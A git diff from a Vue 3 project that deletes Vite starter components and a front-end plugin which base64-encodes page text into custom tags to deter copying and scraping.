document.head.appendChild(scriptCustomElements);
|
|
||||||
|
|
||||||
// 添加提前解码的脚本,放在<head>顶部优先加载
|
|
||||||
if (!document.getElementById('obfuscation-script')) {
|
|
||||||
const script = document.createElement('script');
|
|
||||||
script.id = 'obfuscation-script';
|
|
||||||
script.textContent = `
|
|
||||||
(function() {
|
|
||||||
// 定义解码函数并暴露为全局函数
|
|
||||||
window.decodeObfuscatedContent = function(rootElement) {
|
|
||||||
const root = rootElement || document.body;
|
|
||||||
const elements = root.querySelectorAll('z-span[data-preload="true"], z-strong[data-preload="true"]');
|
|
||||||
|
|
||||||
if (elements.length === 0) return;
|
|
||||||
|
|
||||||
// 使用requestIdleCallback或setTimeout在空闲时运行,避免阻塞渲染
|
|
||||||
const runWhenIdle = window.requestIdleCallback ||
|
|
||||||
function(cb) { setTimeout(cb, 1); };
|
|
||||||
|
|
||||||
runWhenIdle(() => {
|
|
||||||
elements.forEach(el => {
|
|
||||||
// 避免重复解码
|
|
||||||
if (el.hasAttribute('data-content')) return;
|
|
||||||
|
|
||||||
// 找到编码数据
|
|
||||||
const dataAttr = el.getAttribute('data-data');
|
|
||||||
if (dataAttr) {
|
|
||||||
try {
|
|
||||||
// 解码并设置
|
|
||||||
const decodedWord = decodeURIComponent(atob(dataAttr));
|
|
||||||
el.setAttribute('data-content', decodedWord);
|
|
||||||
el.removeAttribute('data-preload');
|
|
||||||
} catch (e) {
|
|
||||||
// 解码失败时跳过
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
});
|
|
||||||
};
|
|
||||||
|
|
||||||
// 页面加载完成后立即执行一次全局解码
|
|
||||||
if (document.readyState === 'loading') {
|
|
||||||
document.addEventListener('DOMContentLoaded', function() {
|
|
||||||
window.decodeObfuscatedContent();
|
|
||||||
});
|
|
||||||
} else {
|
|
||||||
window.decodeObfuscatedContent();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 使用IntersectionObserver优化解码性能
|
|
||||||
if ('IntersectionObserver' in window) {
|
|
||||||
const decodeObserver = new IntersectionObserver(
|
|
||||||
(entries, observer) => {
|
|
||||||
entries.forEach(entry => {
|
|
||||||
if (entry.isIntersecting) {
|
|
||||||
// 容器进入视口时解码其内容
|
|
||||||
window.decodeObfuscatedContent(entry.target);
|
|
||||||
observer.unobserve(entry.target);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
},
|
|
||||||
{ rootMargin: '200px 0px' } // 提前200像素开始解码
|
|
||||||
);
|
|
||||||
|
|
||||||
// 监听所有混淆容器
|
|
||||||
function observeContainers() {
|
|
||||||
document.querySelectorAll('z-wrap').forEach(container => {
|
|
||||||
decodeObserver.observe(container);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// 初始观察
|
|
||||||
if (document.readyState === 'loading') {
|
|
||||||
document.addEventListener('DOMContentLoaded', observeContainers);
|
|
||||||
} else {
|
|
||||||
observeContainers();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 定期检查新容器
|
|
||||||
setInterval(observeContainers, 2000);
|
|
||||||
} else {
|
|
||||||
// 降级方案:定期全局检查
|
|
||||||
setInterval(() => window.decodeObfuscatedContent(), 1000);
|
|
||||||
}
|
|
||||||
})();
|
|
||||||
`;
|
|
||||||
|
|
||||||
// 将脚本添加到head的最前面,确保尽早加载
|
|
||||||
if (document.head.firstChild) {
|
|
||||||
document.head.insertBefore(script, document.head.firstChild);
|
|
||||||
} else {
|
|
||||||
document.head.appendChild(script);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,51 +0,0 @@
|
|||||||
<script setup lang="ts">
|
|
||||||
|
|
||||||
import { myWebSocket } from "@/utils/common";
|
|
||||||
|
|
||||||
defineProps<{
|
|
||||||
msg: string;
|
|
||||||
}>();
|
|
||||||
|
|
||||||
const sendMsg = () => {
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({ event: "heartbeat", content: { userId: "haha" } })
|
|
||||||
);
|
|
||||||
};
|
|
||||||
</script>
|
|
||||||
|
|
||||||
<template>
|
|
||||||
<div class="greetings">
|
|
||||||
<h1 class="green">{{ msg }}</h1>
|
|
||||||
<button @click="sendMsg">Send</button>/
|
|
||||||
<h3>
|
|
||||||
You’ve successfully created a project with
|
|
||||||
<a href="https://vitejs.dev/" target="_blank" rel="noopener">Vite</a> +
|
|
||||||
<a href="https://vuejs.org/" target="_blank" rel="noopener">Vue 3</a>.
|
|
||||||
What's next?
|
|
||||||
</h3>
|
|
||||||
</div>
|
|
||||||
</template>
|
|
||||||
|
|
||||||
<style scoped>
|
|
||||||
h1 {
|
|
||||||
font-weight: 500;
|
|
||||||
font-size: 2.6rem;
|
|
||||||
top: -10px;
|
|
||||||
}
|
|
||||||
|
|
||||||
h3 {
|
|
||||||
font-size: 1.2rem;
|
|
||||||
}
|
|
||||||
|
|
||||||
.greetings h1,
|
|
||||||
.greetings h3 {
|
|
||||||
text-align: center;
|
|
||||||
}
|
|
||||||
|
|
||||||
@media (min-width: 1024px) {
|
|
||||||
.greetings h1,
|
|
||||||
.greetings h3 {
|
|
||||||
text-align: left;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
</style>
|
|
||||||
@@ -1,86 +0,0 @@
|
|||||||
<script setup lang="ts">
|
|
||||||
import WelcomeItem from './WelcomeItem.vue'
|
|
||||||
import DocumentationIcon from './icons/IconDocumentation.vue'
|
|
||||||
import ToolingIcon from './icons/IconTooling.vue'
|
|
||||||
import EcosystemIcon from './icons/IconEcosystem.vue'
|
|
||||||
import CommunityIcon from './icons/IconCommunity.vue'
|
|
||||||
import SupportIcon from './icons/IconSupport.vue'
|
|
||||||
</script>
|
|
||||||
|
|
||||||
<template>
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<DocumentationIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Documentation</template>
|
|
||||||
|
|
||||||
Vue’s
|
|
||||||
<a href="https://vuejs.org/" target="_blank" rel="noopener">official documentation</a>
|
|
||||||
provides you with all information you need to get started.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<ToolingIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Tooling</template>
|
|
||||||
|
|
||||||
This project is served and bundled with
|
|
||||||
<a href="https://vitejs.dev/guide/features.html" target="_blank" rel="noopener">Vite</a>. The
|
|
||||||
recommended IDE setup is
|
|
||||||
<a href="https://code.visualstudio.com/" target="_blank" rel="noopener">VSCode</a> +
|
|
||||||
<a href="https://github.com/johnsoncodehk/volar" target="_blank" rel="noopener">Volar</a>. If
|
|
||||||
you need to test your components and web pages, check out
|
|
||||||
<a href="https://www.cypress.io/" target="_blank" rel="noopener">Cypress</a> and
|
|
||||||
<a href="https://on.cypress.io/component" target="_blank">Cypress Component Testing</a>.
|
|
||||||
|
|
||||||
<br />
|
|
||||||
|
|
||||||
More instructions are available in <code>README.md</code>.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<EcosystemIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Ecosystem</template>
|
|
||||||
|
|
||||||
Get official tools and libraries for your project:
|
|
||||||
<a href="https://pinia.vuejs.org/" target="_blank" rel="noopener">Pinia</a>,
|
|
||||||
<a href="https://router.vuejs.org/" target="_blank" rel="noopener">Vue Router</a>,
|
|
||||||
<a href="https://test-utils.vuejs.org/" target="_blank" rel="noopener">Vue Test Utils</a>, and
|
|
||||||
<a href="https://github.com/vuejs/devtools" target="_blank" rel="noopener">Vue Dev Tools</a>. If
|
|
||||||
you need more resources, we suggest paying
|
|
||||||
<a href="https://github.com/vuejs/awesome-vue" target="_blank" rel="noopener">Awesome Vue</a>
|
|
||||||
a visit.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<CommunityIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Community</template>
|
|
||||||
|
|
||||||
Got stuck? Ask your question on
|
|
||||||
<a href="https://chat.vuejs.org" target="_blank" rel="noopener">Vue Land</a>, our official
|
|
||||||
Discord server, or
|
|
||||||
<a href="https://stackoverflow.com/questions/tagged/vue.js" target="_blank" rel="noopener"
|
|
||||||
>StackOverflow</a
|
|
||||||
>. You should also subscribe to
|
|
||||||
<a href="https://news.vuejs.org" target="_blank" rel="noopener">our mailing list</a> and follow
|
|
||||||
the official
|
|
||||||
<a href="https://twitter.com/vuejs" target="_blank" rel="noopener">@vuejs</a>
|
|
||||||
twitter account for latest news in the Vue world.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<SupportIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Support Vue</template>
|
|
||||||
|
|
||||||
As an independent project, Vue relies on community backing for its sustainability. You can help
|
|
||||||
us by
|
|
||||||
<a href="https://vuejs.org/sponsor/" target="_blank" rel="noopener">becoming a sponsor</a>.
|
|
||||||
</WelcomeItem>
|
|
||||||
</template>
|
|
||||||
@@ -1,86 +0,0 @@
|
|||||||
<template>
|
|
||||||
<div class="item">
|
|
||||||
<i>
|
|
||||||
<slot name="icon"></slot>
|
|
||||||
</i>
|
|
||||||
<div class="details">
|
|
||||||
<h3>
|
|
||||||
<slot name="heading"></slot>
|
|
||||||
</h3>
|
|
||||||
<slot></slot>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</template>
|
|
||||||
|
|
||||||
<style scoped>
|
|
||||||
.item {
|
|
||||||
margin-top: 2rem;
|
|
||||||
display: flex;
|
|
||||||
}
|
|
||||||
|
|
||||||
.details {
|
|
||||||
flex: 1;
|
|
||||||
margin-left: 1rem;
|
|
||||||
}
|
|
||||||
|
|
||||||
i {
|
|
||||||
display: flex;
|
|
||||||
place-items: center;
|
|
||||||
place-content: center;
|
|
||||||
width: 32px;
|
|
||||||
height: 32px;
|
|
||||||
|
|
||||||
color: var(--color-text);
|
|
||||||
}
|
|
||||||
|
|
||||||
h3 {
|
|
||||||
font-size: 1.2rem;
|
|
||||||
font-weight: 500;
|
|
||||||
margin-bottom: 0.4rem;
|
|
||||||
color: var(--color-heading);
|
|
||||||
}
|
|
||||||
|
|
||||||
@media (min-width: 1024px) {
|
|
||||||
.item {
|
|
||||||
margin-top: 0;
|
|
||||||
padding: 0.4rem 0 1rem calc(var(--section-gap) / 2);
|
|
||||||
}
|
|
||||||
|
|
||||||
i {
|
|
||||||
top: calc(50% - 25px);
|
|
||||||
left: -26px;
|
|
||||||
position: absolute;
|
|
||||||
border: 1px solid var(--color-border);
|
|
||||||
background: var(--color-background);
|
|
||||||
border-radius: 8px;
|
|
||||||
width: 50px;
|
|
||||||
height: 50px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:before {
|
|
||||||
content: ' ';
|
|
||||||
border-left: 1px solid var(--color-border);
|
|
||||||
position: absolute;
|
|
||||||
left: 0;
|
|
||||||
bottom: calc(50% + 25px);
|
|
||||||
height: calc(50% - 25px);
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:after {
|
|
||||||
content: ' ';
|
|
||||||
border-left: 1px solid var(--color-border);
|
|
||||||
position: absolute;
|
|
||||||
left: 0;
|
|
||||||
top: calc(50% + 25px);
|
|
||||||
height: calc(50% - 25px);
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:first-of-type:before {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:last-of-type:after {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
</style>
|
|
||||||
@@ -1,4 +1,3 @@
|
|||||||
import { TextObfuscatorPlugin } from "./mix/textObfuscator";
|
|
||||||
import { createApp, ref } from "vue";
|
import { createApp, ref } from "vue";
|
||||||
import { createPinia } from "pinia";
|
import { createPinia } from "pinia";
|
||||||
|
|
||||||
@@ -29,6 +28,5 @@ router.beforeEach((to, from, next) => {
|
|||||||
VueScrollTo.scrollTo("#app", 0);
|
VueScrollTo.scrollTo("#app", 0);
|
||||||
next();
|
next();
|
||||||
});
|
});
|
||||||
// //app.use(TextObfuscatorPlugin);
|
|
||||||
app.mount("#app");
|
app.mount("#app");
|
||||||
export default i18n;
|
export default i18n;
|
||||||
|
|||||||
@@ -1,643 +0,0 @@
|
|||||||
import type { ComponentInternalInstance, Plugin, App } from 'vue';
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 全局文本混淆插件
|
|
||||||
* 自动查找并替换所有文本节点
|
|
||||||
*/
|
|
||||||
// 修改Vue混淆插件以确保处理整个组件树
|
|
||||||
export const TextObfuscatorPlugin: Plugin = {
|
|
||||||
install(app: App) {
|
|
||||||
// 安装全局样式和解码脚本
|
|
||||||
addObfuscationStyle();
|
|
||||||
|
|
||||||
// 注册全局指令,直接处理元素内容
|
|
||||||
app.directive('odata', {
|
|
||||||
mounted(el) {
|
|
||||||
processTextNodes(el, null);
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(el), 0);
|
|
||||||
}
|
|
||||||
setupMutationObserver(el);
|
|
||||||
},
|
|
||||||
updated(el) {
|
|
||||||
processTextNodes(el, null);
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(el), 0);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
// 在 app.mixin 中修改处理 $el 的部分
|
|
||||||
app.mixin({
|
|
||||||
mounted() {
|
|
||||||
// 安全地获取组件的根元素(s)
|
|
||||||
const rootElements = this.$el ?
|
|
||||||
(this.$el.nodeType === Node.ELEMENT_NODE ?
|
|
||||||
[this.$el] :
|
|
||||||
(Array.isArray(this.$el) ? this.$el : [])) :
|
|
||||||
[];
|
|
||||||
|
|
||||||
// 处理每个根元素
|
|
||||||
rootElements.forEach((rootElement: Element) => {
|
|
||||||
if (!rootElement || !(rootElement instanceof Element)) return;
|
|
||||||
|
|
||||||
// 1. 首先处理当前组件的根元素
|
|
||||||
processTextNodes(rootElement, this);
|
|
||||||
|
|
||||||
// 2. 递归处理所有子元素,确保覆盖所有文本节点
|
|
||||||
const processAllChildNodes = (element: Element) => {
|
|
||||||
if (!(element instanceof Element)) return;
|
|
||||||
|
|
||||||
try {
|
|
||||||
// 为每个子元素单独处理文本节点
|
|
||||||
const childElements = element.querySelectorAll('*');
|
|
||||||
childElements.forEach(childEl => {
|
|
||||||
processTextNodes(childEl, null);
|
|
||||||
});
|
|
||||||
|
|
||||||
// 立即解码当前处理的元素
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(element), 0);
|
|
||||||
}
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error processing child nodes:', error, element);
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 处理整个组件树
|
|
||||||
processAllChildNodes(rootElement);
|
|
||||||
|
|
||||||
// 设置监听
|
|
||||||
setupMutationObserver(rootElement);
|
|
||||||
});
|
|
||||||
// 添加:深度扫描所有包含纯文本的元素
|
|
||||||
setTimeout(() => {
|
|
||||||
const scanPureTextElements = (rootElement: Element) => {
|
|
||||||
// 跳过已处理过的元素
|
|
||||||
if (rootElement.hasAttribute && rootElement.hasAttribute('data-obfuscated')) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查是否为包含纯文本的元素(只有文本节点,没有元素节点)
|
|
||||||
let hasOnlyTextNodes = false;
|
|
||||||
let hasElementNodes = false;
|
|
||||||
|
|
||||||
if (rootElement.childNodes && rootElement.childNodes.length > 0) {
|
|
||||||
hasOnlyTextNodes = Array.from(rootElement.childNodes).some(
|
|
||||||
node => node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim()
|
|
||||||
);
|
|
||||||
|
|
||||||
hasElementNodes = Array.from(rootElement.childNodes).some(
|
|
||||||
node => node.nodeType === Node.ELEMENT_NODE
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果元素只包含文本节点,并且不包含其他元素节点,则混淆它
|
|
||||||
if (hasOnlyTextNodes && !hasElementNodes &&
|
|
||||||
!SKIP_TAGS.includes(rootElement.tagName) &&
|
|
||||||
!Array.from(rootElement.classList || []).some(cls => SKIP_CLASSES.includes(cls))) {
|
|
||||||
processTextNodes(rootElement, null);
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
window.decodeObfuscatedContent(rootElement);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 递归处理子元素
|
|
||||||
if (rootElement.children) {
|
|
||||||
Array.from(rootElement.children).forEach(child => {
|
|
||||||
scanPureTextElements(child);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 从body开始扫描
|
|
||||||
scanPureTextElements(document.body);
|
|
||||||
}, 10); // 给DOM足够的时间渲染
|
|
||||||
},
|
|
||||||
|
|
||||||
updated() {
|
|
||||||
// 安全地获取组件的根元素(s)
|
|
||||||
const rootElements = this.$el ?
|
|
||||||
(this.$el.nodeType === Node.ELEMENT_NODE ?
|
|
||||||
[this.$el] :
|
|
||||||
(Array.isArray(this.$el) ? this.$el : [])) :
|
|
||||||
[];
|
|
||||||
|
|
||||||
// 处理每个根元素
|
|
||||||
rootElements.forEach((rootElement: Element | undefined) => {
|
|
||||||
if (!rootElement || !(rootElement instanceof Element)) return;
|
|
||||||
|
|
||||||
processTextNodes(rootElement, this);
|
|
||||||
|
|
||||||
try {
|
|
||||||
// 递归处理所有子元素
|
|
||||||
const childElements = rootElement.querySelectorAll('*');
|
|
||||||
childElements.forEach((childEl: Element) => {
|
|
||||||
processTextNodes(childEl, null);
|
|
||||||
});
|
|
||||||
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(rootElement), 0);
|
|
||||||
}
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error processing updated component:', error, rootElement);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 声明全局函数类型
|
|
||||||
declare global {
|
|
||||||
interface Window {
|
|
||||||
decodeObfuscatedContent: (rootElement?: Element) => void;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 需要跳过的标签
|
|
||||||
const SKIP_TAGS = ['SCRIPT', 'STYLE', 'TEXTAREA', 'INPUT', 'PRE', 'CODE'];
|
|
||||||
// 需要跳过的类名
|
|
||||||
const SKIP_CLASSES = ['no-obfuscate'];
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 处理元素中的所有文本节点
|
|
||||||
*/
|
|
||||||
function processTextNodes(element: Element, instance: ComponentInternalInstance | null) {
|
|
||||||
if (!element || element.nodeType !== Node.ELEMENT_NODE) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
// 为 DIV 元素增加优先处理逻辑
|
|
||||||
if (element.tagName === 'DIV' && !element.hasAttribute('data-obfuscated')) {
|
|
||||||
// 对于DIV元素,特殊处理其直接子文本节点
|
|
||||||
let hasTextContent = false;
|
|
||||||
for (let i = 0; i < element.childNodes.length; i++) {
|
|
||||||
const node = element.childNodes[i];
|
|
||||||
if (node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() !== '') {
|
|
||||||
hasTextContent = true;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果DIV中有直接的文本内容,标记它需要被处理
|
|
||||||
if (hasTextContent) {
|
|
||||||
// 只处理未混淆过的DIV
|
|
||||||
const textContent = Array.from(element.childNodes)
|
|
||||||
.filter(node => node.nodeType === Node.TEXT_NODE && node.textContent)
|
|
||||||
.map(node => node.textContent).join('').trim();
|
|
||||||
|
|
||||||
if (textContent) {
|
|
||||||
// 替换整个DIV的内容
|
|
||||||
const originalHTML = element.innerHTML;
|
|
||||||
const processedHTML = obfuscateText(textContent);
|
|
||||||
element.innerHTML = processedHTML + originalHTML.replace(textContent, '');
|
|
||||||
element.setAttribute('data-obfuscated', 'true');
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
// 跳过带有特定标记的元素(避免重复处理)
|
|
||||||
if (element.hasAttribute('data-obfuscated') ||
|
|
||||||
!element ||
|
|
||||||
SKIP_TAGS.includes(element.tagName) ||
|
|
||||||
Array.from(element.classList).some(cls => SKIP_CLASSES.includes(cls))) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 使用 TreeWalker 遍历所有文本节点
|
|
||||||
const walker = document.createTreeWalker(
|
|
||||||
element,
|
|
||||||
NodeFilter.SHOW_TEXT,
|
|
||||||
{
|
|
||||||
acceptNode(node) {
|
|
||||||
// 不处理完全空的文本节点
|
|
||||||
if (!node.textContent) {
|
|
||||||
return NodeFilter.FILTER_REJECT;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查父节点是否应该被跳过
|
|
||||||
const parent = node.parentElement;
|
|
||||||
if (parent && (
|
|
||||||
SKIP_TAGS.includes(parent.tagName) ||
|
|
||||||
parent.hasAttribute('data-obfuscated') ||
|
|
||||||
Array.from(parent.classList || []).some(cls => SKIP_CLASSES.includes(cls))
|
|
||||||
)) {
|
|
||||||
return NodeFilter.FILTER_REJECT;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果只包含空白且不是段落的首个节点,则跳过
|
|
||||||
if (node.textContent.trim() === '' &&
|
|
||||||
!(parent?.tagName === 'P' && node === parent.firstChild)) {
|
|
||||||
return NodeFilter.FILTER_REJECT;
|
|
||||||
}
|
|
||||||
|
|
||||||
return NodeFilter.FILTER_ACCEPT;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
);
|
|
||||||
|
|
||||||
// 收集需要处理的文本节点
|
|
||||||
const textNodes: Text[] = [];
|
|
||||||
let currentNode: Node | null = walker.nextNode();
|
|
||||||
|
|
||||||
while (currentNode) {
|
|
||||||
textNodes.push(currentNode as Text);
|
|
||||||
currentNode = walker.nextNode();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 预先计算所有混淆内容,减少DOM操作次数
|
|
||||||
const fragments: DocumentFragment[] = [];
|
|
||||||
const nodesToReplace: Text[] = [];
|
|
||||||
|
|
||||||
// 在处理文本节点前,移除所有前导空格
|
|
||||||
for (const textNode of textNodes) {
|
|
||||||
const text = textNode.textContent;
|
|
||||||
if (!text) continue;
|
|
||||||
|
|
||||||
// 重要修改:检测是否是段落的首个文本节点,无条件移除开头的空白
|
|
||||||
let processedText = text;
|
|
||||||
if (textNode.parentElement?.tagName === 'P' &&
|
|
||||||
textNode === textNode.parentElement.firstChild) {
|
|
||||||
// 去除开头的空白,无论什么情况
|
|
||||||
processedText = text.replace(/^\s+/, '');
|
|
||||||
// 如果去除空白后为空,直接跳过这个节点
|
|
||||||
if (!processedText) continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
// 创建文档碎片来存储混淆后的内容
|
|
||||||
const fragment = document.createDocumentFragment();
|
|
||||||
const tempContainer = document.createElement('div');
|
|
||||||
tempContainer.innerHTML = obfuscateText(processedText);
|
|
||||||
|
|
||||||
// 将内容移动到碎片中
|
|
||||||
while (tempContainer.firstChild) {
|
|
||||||
fragment.appendChild(tempContainer.firstChild);
|
|
||||||
}
|
|
||||||
|
|
||||||
fragments.push(fragment);
|
|
||||||
nodesToReplace.push(textNode);
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error processing text node:', error);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 批量替换节点,减少回流
|
|
||||||
for (let i = 0; i < nodesToReplace.length; i++) {
|
|
||||||
const textNode = nodesToReplace[i];
|
|
||||||
const fragment = fragments[i];
|
|
||||||
|
|
||||||
if (textNode.parentNode) {
|
|
||||||
textNode.parentNode.replaceChild(fragment, textNode);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 设置 MutationObserver 来监听 DOM 变化
|
|
||||||
*/
|
|
||||||
function setupMutationObserver(element: Element) {
|
|
||||||
if (!element) return;
|
|
||||||
|
|
||||||
const observer = new MutationObserver((mutations) => {
|
|
||||||
for (const mutation of mutations) {
|
|
||||||
if (mutation.type === 'childList' && mutation.addedNodes.length) {
|
|
||||||
mutation.addedNodes.forEach((node) => {
|
|
||||||
if (node.nodeType === Node.ELEMENT_NODE) {
|
|
||||||
processTextNodes(node as Element, null);
|
|
||||||
// 观察到新元素后立即解码
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
window.decodeObfuscatedContent(node as Element);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
observer.observe(element, {
|
|
||||||
childList: true,
|
|
||||||
subtree: true
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 生成随机噪声标签和注释
|
|
||||||
*/
|
|
||||||
function getRandomNoise() {
|
|
||||||
const noiseTypes = [
|
|
||||||
// HTML注释
|
|
||||||
() => `<!--${Math.random().toString(36).substring(2, 6)}-->`,
|
|
||||||
// 空的自定义元素
|
|
||||||
() => {
|
|
||||||
const tags = ['z-nil', 'z-void', 'z-null', 'z-fake', 'z-empty'];
|
|
||||||
const tag = tags[Math.floor(Math.random() * tags.length)];
|
|
||||||
return `<${tag}></${tag}>`;
|
|
||||||
},
|
|
||||||
// 带随机属性的自定义元素
|
|
||||||
() => {
|
|
||||||
const attr = `data-${Math.random().toString(36).substring(2, 7)}`;
|
|
||||||
const value = Math.random().toString(36).substring(2, 10);
|
|
||||||
return `<z-attr ${attr}="${value}"></z-attr>`;
|
|
||||||
},
|
|
||||||
// 带随机文本的隐藏元素
|
|
||||||
() => {
|
|
||||||
const text = Math.random().toString(36).substring(2, 8);
|
|
||||||
return `<z-text>${text}</z-text>`;
|
|
||||||
}
|
|
||||||
];
|
|
||||||
|
|
||||||
// 随机选择一种噪声类型
|
|
||||||
const noiseGenerator = noiseTypes[Math.floor(Math.random() * noiseTypes.length)];
|
|
||||||
return noiseGenerator();
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 混淆文本 - 将文本拆分成单词并分别存储,使用自定义z-标签
|
|
||||||
*/
|
|
||||||
function obfuscateText(text: string): string {
|
|
||||||
if (!text) return '';
|
|
||||||
|
|
||||||
// 首先移除文本开头的所有空白字符以解决段落首行缩进问题
|
|
||||||
text = text.replace(/^\s+/, '');
|
|
||||||
if (!text) return '';
|
|
||||||
|
|
||||||
// 使用正则表达式将文本拆分为单词和空格,保持完整性
|
|
||||||
const words = text.split(/(\s+)/);
|
|
||||||
let result = '<z-wrap data-obfuscated="true">';
|
|
||||||
|
|
||||||
// 过滤掉空字符串,避免生成空的z-span元素
|
|
||||||
const filteredWords = words.filter(word => word.length > 0);
|
|
||||||
|
|
||||||
// 为每个单词创建一个独立的自定义元素
|
|
||||||
filteredWords.forEach((word, index) => {
|
|
||||||
// 对空格和特殊字符进行特殊处理
|
|
||||||
if (/^\s+$/.test(word)) {
|
|
||||||
// 改进:更精确地处理各种换行符
|
|
||||||
if (/[\n\r]/.test(word)) {
|
|
||||||
// 将所有类型的换行符分割出来,但仅在实际有换行符时才添加z-break元素
|
|
||||||
result += '<z-break></z-break>';
|
|
||||||
} else {
|
|
||||||
// 纯空格的情况 - 对连续空格合并处理,避免添加过多z-space
|
|
||||||
result += '<z-space></z-space>';
|
|
||||||
}
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 随机在单词前添加噪声,但减少频率
|
|
||||||
if (Math.random() > 0.85) {
|
|
||||||
result += getRandomNoise();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 为了提高效率,固定属性名
|
|
||||||
const attrId = `data`;
|
|
||||||
|
|
||||||
// 将单词编码为Base64
|
|
||||||
const encodedWord = btoa(encodeURIComponent(word));
|
|
||||||
|
|
||||||
// 随机选择z-span或z-strong标签增加混淆度
|
|
||||||
const tagName = Math.random() > 0.5 ? 'z-span' : 'z-strong';
|
|
||||||
|
|
||||||
// 添加标签开始部分
|
|
||||||
result += `<${tagName} data-${attrId}="${encodedWord}" data-preload="true">`;
|
|
||||||
|
|
||||||
// 随机在标签内添加隐藏内容,但减少频率
|
|
||||||
if (Math.random() > 0.8) {
|
|
||||||
const fakeText = Math.random().toString(36).substring(2, 5 + Math.floor(Math.random() * 5));
|
|
||||||
result += `<z-hidden>${fakeText}</z-hidden>`;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 闭合标签
|
|
||||||
result += `</${tagName}>`;
|
|
||||||
|
|
||||||
// 随机在单词后添加噪声,但减少频率
|
|
||||||
if (Math.random() > 0.85) {
|
|
||||||
result += getRandomNoise();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
result += '</z-wrap>';
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 添加显示混淆内容的样式和解码脚本
|
|
||||||
*/
|
|
||||||
function addObfuscationStyle() {
|
|
||||||
// 添加样式
|
|
||||||
if (!document.getElementById('obfuscation-style')) {
|
|
||||||
const style = document.createElement('style');
|
|
||||||
style.id = 'obfuscation-style';
|
|
||||||
style.textContent = `
|
|
||||||
/* 自定义元素基本样式 */
|
|
||||||
z-wrap {
|
|
||||||
display: inline;
|
|
||||||
white-space: normal;
|
|
||||||
user-select: none; /* 阻止文本选择 */
|
|
||||||
